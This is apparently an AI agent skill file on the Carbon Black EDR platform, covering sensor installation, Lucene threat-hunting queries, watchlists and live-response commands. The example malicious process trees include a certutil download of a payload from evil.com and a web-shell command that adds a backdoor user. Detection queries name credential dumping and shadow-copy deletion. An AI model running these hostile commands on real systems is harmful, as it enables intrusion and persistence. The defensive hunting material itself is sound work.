Carbon Black

---
name: carbon-black
description: "Expert agent for VMware Carbon Black (Broadcom) EDR platform. Covers CB Endpoint Standard, CB Enterprise EDR, process tree investigation, watchlists, live response, and Solr/Lucene query syntax. WHEN: \"Carbon Black\", \"CB Defense\", \"CB Response\", \"VMware Carbon Black\", \"CB Endpoint Standard\", \"CB Enterprise EDR\", \"watchlist\", \"CB query\"."
license: MIT
---

# Carbon Black (Broadcom)

This skill covers VMware Carbon Black (now under Broadcom). It has deep expertise in Carbon Black Endpoint Standard (formerly CB Defense) and Carbon Black Enterprise EDR (formerly CB Response), including process tree investigation, watchlists, live response, and Solr/Lucene query syntax for threat hunting.

## How to Approach Tasks

When you receive a request:

1. **Identify the product** — Carbon Black Cloud Endpoint Standard vs. Enterprise EDR (they use different query interfaces). CB Cloud products use the CB Cloud console; legacy on-prem CB Response has separate architecture.

2. **Note the Broadcom acquisition context** — Broadcom acquired VMware in 2023. The Carbon Black product roadmap has been subject to uncertainty. Validate current product availability and licensing with Broadcom directly for new deployments.

3. **Classify the request type:**
   - **Process investigation** — Process tree visualization and analysis
   - **Threat hunting** — CB Live Query (Enterprise EDR) or watchlist-based hunting
   - **Live response** — Interactive session on endpoint
   - **Policy management** — Prevention rules and enforcement levels
   - **Alert triage** — Alert investigation workflow

4. **Analyze** — Apply Carbon Black-specific reasoning. CB's strength is full endpoint recording with high-fidelity process trees.

## Product Overview

### Carbon Black Cloud Products

| Product | Former Name | Capability |
|---|---|---|
| CB Endpoint Standard | CB Defense | NGAV + limited behavioral EDR |
| CB Enterprise EDR | CB Response | Full EDR with continuous recording, deep hunting |
| CB Enterprise Standard | (combined) | NGAV + full EDR + threat hunting |

### Architecture Model

**CB Cloud (SaaS):**
- All CB Cloud products managed via `defense.conferdeploy.net`
- Sensor communicates to CB Cloud backend via TLS
- Data storage in CB Cloud (7-30 day retention depending on tier)

**Legacy CB Response (on-premises):**
- Server component deployed on-premises (Linux appliance)
- CB Sensors on endpoints communicate to on-prem server
- Solr for event storage and search
- Note: CB Response is end-of-life; customers should migrate to CB Enterprise EDR

## CB Sensor Deployment

### Windows Installation

```powershell
# Install CB Sensor (requires company code from CB Cloud console)
.\CbDefense.msi /quiet COMPANY_CODE="<code_from_console>"

# Verify installation
Get-Service -Name CbDefense | Select Status
# Status: Running

# Check sensor version
Get-ItemProperty "HKLM:\SOFTWARE\CarbonBlack\Defense" | Select Version, LastConnected

# Manual registration (if auto-registration fails)
"C:\Program Files\Confer\RepCLI.exe" register <company_code>
```

### Linux Installation

```bash
# RPM-based
sudo rpm -ivh cb-defense-sensor-<version>.rpm
sudo service cbdefense start

# DEB-based
sudo dpkg -i cb-defense-sensor-<version>.deb
sudo service cbdefense start

# Verify
sudo /usr/bin/cbdefense.sh status
```

## CB Query Language (Solr/Lucene)

Carbon Black uses Lucene-based query syntax for process and binary search.

### Query Syntax Fundamentals

```
# Basic field query
process_name:powershell.exe

# Phrase query (exact phrase)
cmdline:"invoke-expression"

# Wildcard
process_name:power*
cmdline:*-encoded*

# Boolean operators
process_name:powershell.exe AND cmdline:*-enc*
process_name:cmd.exe OR process_name:powershell.exe

# NOT operator
process_name:svchost.exe NOT parent_name:services.exe

# Range query (timestamps)
start:[2024-01-01T00:00:00 TO 2024-01-31T23:59:59]

# Grouping
(process_name:cmd.exe OR process_name:powershell.exe) AND parent_name:winword.exe
```

### Key CB Query Fields

**CB Cloud Enterprise EDR fields:**
| Field | Description | Example |
|---|---|---|
| `process_name` | Process filename | `process_name:powershell.exe` |
| `cmdline` | Full command line | `cmdline:*-encodedcommand*` |
| `parent_name` | Parent process name | `parent_name:winword.exe` |
| `process_hash` | SHA256 of process | `process_hash:<sha256>` |
| `device_name` | Endpoint hostname | `device_name:WORKSTATION001` |
| `username` | Executing user | `username:CORP\\jsmith` |
| `netconn_domain` | DNS domain in connection | `netconn_domain:evil.example.com` |
| `netconn_ipv4` | Remote IPv4 address | `netconn_ipv4:192.168.1.100` |
| `filemod_name` | Files written/modified | `filemod_name:*.exe` |
| `regmod_name` | Registry keys modified | `regmod_name:*\\Run*` |
| `crossproc_name` | Process injection target | `crossproc_name:lsass.exe` |
| `childproc_name` | Child process spawned | `childproc_name:cmd.exe` |

### Threat Hunting Queries

**Suspicious PowerShell execution:**
```
process_name:powershell.exe AND
(cmdline:*-enc* OR cmdline:*encodedcommand* OR cmdline:*-nop* OR cmdline:*bypass*)
```

**Office apps spawning scripting engines:**
```
parent_name:(winword.exe OR excel.exe OR outlook.exe OR powerpnt.exe) AND
process_name:(cmd.exe OR powershell.exe OR wscript.exe OR cscript.exe OR mshta.exe OR regsvr32.exe)
```

**LSASS credential dumping:**
```
crossproc_name:lsass.exe AND
process_name:(NOT MsMpEng.exe NOT csrss.exe NOT werfault.exe NOT svchost.exe NOT taskmgr.exe)
```

**Lateral movement indicators:**
```
process_name:psexesvc.exe
```
```
(process_name:cmd.exe OR process_name:powershell.exe) AND
parent_name:WmiPrvSE.exe
```

**Persistence via Run keys:**
```
regmod_name:(*\\CurrentVersion\\Run* OR *\\CurrentVersion\\RunOnce*)
AND process_name:(NOT services.exe NOT msiexec.exe NOT setup.exe)
```

**Ransomware pre-execution (shadow copy deletion):**
```
cmdline:(*vssadmin*delete* OR *wmic*shadowcopy*delete* OR *bcdedit*recoveryenabled*)
```

## Process Tree Investigation

CB's process tree visualization is one of its core strengths. Every alert links to a process tree view showing the full execution chain.

### Process Tree Navigation

1. Navigate to: Alerts view > click alert > Process Analysis tab
2. Review the full process tree:
   - Root process (left) → child processes (right)
   - Each node shows: process name, hash, user, timestamp
   - Click any node to see: command line, file writes, network connections, registry changes
3. Review the "Attack Chain" timeline at the bottom

### Process Ancestry Analysis

Common malicious process trees:

```
Malicious Word macro:
WINWORD.EXE
  └── cmd.exe /c powershell.exe -enc <base64>
        └── powershell.exe
              └── rundll32.exe (or malware.exe)

Web shell:
w3wp.exe (IIS)
  └── cmd.exe
        └── net.exe user /add backdoor P@ssw0rd

Malicious installer:
msiexec.exe
  └── powershell.exe
        └── certutil.exe -urlcache -f http://evil.com/payload.exe
              └── payload.exe (new malware)
```

### Binary Investigation

When investigating a suspicious binary in CB Cloud:

1. Navigate to: Investigate > Binaries
2. Search for the file hash
3. Review:
   - First seen / last seen in environment
   - Number of endpoints with this file
   - Company/product/version metadata
   - Digital signature status
   - CB threat reputation score
   - VT (VirusTotal) integration results

## Watchlists

Watchlists enable persistent saved queries that continuously monitor for threat patterns.

### Creating Watchlists

1. Navigate to: Investigate > Process Search
2. Build query that finds the threat pattern
3. Click "Save as Watchlist"
4. Configure:
   - Alert severity (Low/Medium/High/Critical)
   - Alert on new matches
   - MITRE ATT&CK tag

### Watchlist Examples

**Watchlist: LOLBin network connections**
```
process_name:(mshta.exe OR regsvr32.exe OR certutil.exe OR bitsadmin.exe) AND
netconn_ipv4:[1.0.0.0 TO 223.255.255.255]
```

**Watchlist: New services installed from unusual paths**
```
process_name:sc.exe AND cmdline:*create* AND
cmdline:(NOT "C:\\Windows\\*" NOT "C:\\Program Files\\*")
```

**Watchlist: LSASS access from non-system processes**
```
crossproc_name:lsass.exe AND
process_name:(NOT MsMpEng.exe NOT csrss.exe NOT werfault.exe NOT svchost.exe)
```

## Live Response (CB Enterprise EDR)

Live Response provides an interactive shell session for incident response.

### Live Response Commands

```bash
# System information
sysinfo

# List processes
ps aux

# List network connections
netstat -an

# List directory
ls C:\Users\

# Get a file (download to console)
get C:\Users\user\Desktop\suspicious.exe

# Delete a file
rm C:\Users\Public\malware.exe

# Kill process by PID
kill 1234

# Execute a command (remote shell)
execfg cmd.exe /c whoami

# Upload a file to endpoint
put C:\Temp\ir_tool.exe (from previously uploaded file)
```

### Live Response Investigation Workflow

**Step 1: Collect process list and connections**
```bash
ps aux
netstat -an
```

**Step 2: Investigate suspicious process**
```bash
# Get process details
execfg cmd.exe /c "wmic process where processid=1234 get name,commandline,parentprocessid"

# Get file hash of process image
execfg cmd.exe /c "certutil -hashfile C:\path\to\process.exe SHA256"
```

**Step 3: Check persistence**
```bash
execfg cmd.exe /c "reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run"
execfg cmd.exe /c "schtasks /query /fo list /v"
execfg cmd.exe /c "sc query type= all state= all"
```

**Step 4: Collect artifacts**
```bash
# Collect suspicious file for analysis
get C:\path\to\suspicious.exe

# Collect memory dump (if supported)
memdump --pid 1234
```

## Policy Configuration

### Prevention Policy Settings

CB Cloud prevention policies control NGAV and behavioral blocking:

**Enforcement levels:**
- `REPORT` — Detect and alert only
- `BLOCK` — Block and alert
- `TERMINATE` — Kill process + block + alert

**Key policy settings:**
- Malware removal: Auto-delete or quarantine malicious files
- Application control: Allowlist known-good hashes/certificates
- Behavioral rules: Enable/disable specific behavioral detection categories
- Reputation-based blocking: Block based on CB cloud reputation score

### Reputation Scores

CB uses threat reputation scores:

| Score | Classification | Default Action |
|---|---|---|
| 1-19 | Known Malware | Block |
| 20-39 | Suspect Malware | Configurable |
| 40-59 | Potentially Unwanted | Configurable |
| 60-79 | Common Whitelist | Allow |
| 80-100 | Known Trustworthy | Allow |

### Application Control (Allowlisting)

For environments where trusted applications are being blocked:
1. Navigate to: Inventory > Apps > Add application
2. Add by: File hash, certificate, or path
3. Apply to: All devices or specific policy group

## Important Note: Broadcom Acquisition

Broadcom acquired VMware (and Carbon Black) in November 2023. Key considerations:

- **Roadmap uncertainty**: Product direction, integration, and licensing terms may change
- **Licensing changes**: Broadcom has reorganized VMware licensing; verify current Carbon Black licensing with Broadcom sales
- **Migration consideration**: Organizations evaluating new EDR deployments should compare Carbon Black against competitive platforms given roadmap uncertainty
- **Existing customers**: Existing deployments continue to function; evaluate renewal decisions carefully
- **Support**: Support is now through Broadcom support channels

For new EDR deployments, compare CB against CrowdStrike Falcon, SentinelOne, or Microsoft Defender for Endpoint with explicit attention to vendor stability and roadmap.